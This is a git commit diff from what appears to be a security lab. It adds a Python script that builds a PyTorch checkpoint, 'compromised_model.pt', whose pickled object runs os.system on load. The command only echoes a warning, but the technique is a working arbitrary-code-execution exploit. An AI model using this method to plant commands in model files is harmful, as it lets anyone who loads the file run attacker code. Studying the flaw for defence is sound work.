init commit

This commit is contained in:
2026-07-29 16:50:22 +03:00
commit 0d10a278bf
24 changed files with 3564 additions and 0 deletions

18
lab2/good_model.py Normal file
View File

@@ -0,0 +1,18 @@
#!/usr/bin/env python3
import torch
import os
class MaliciousPayload:
def __reduce__(self):
command = 'echo "\n[SECURITY WARNING] Arbitrary code executed successfully!\n"'
return (os.system, (command,))
dummy_model_state = {
"weight": torch.randn(3, 3),
"bias": torch.randn(3),
"exploit": MaliciousPayload()
}
checkpoint_path = "compromised_model.pt"
torch.save(dummy_model_state, checkpoint_path)
print(f"Malicious checkpoint saved to {checkpoint_path}")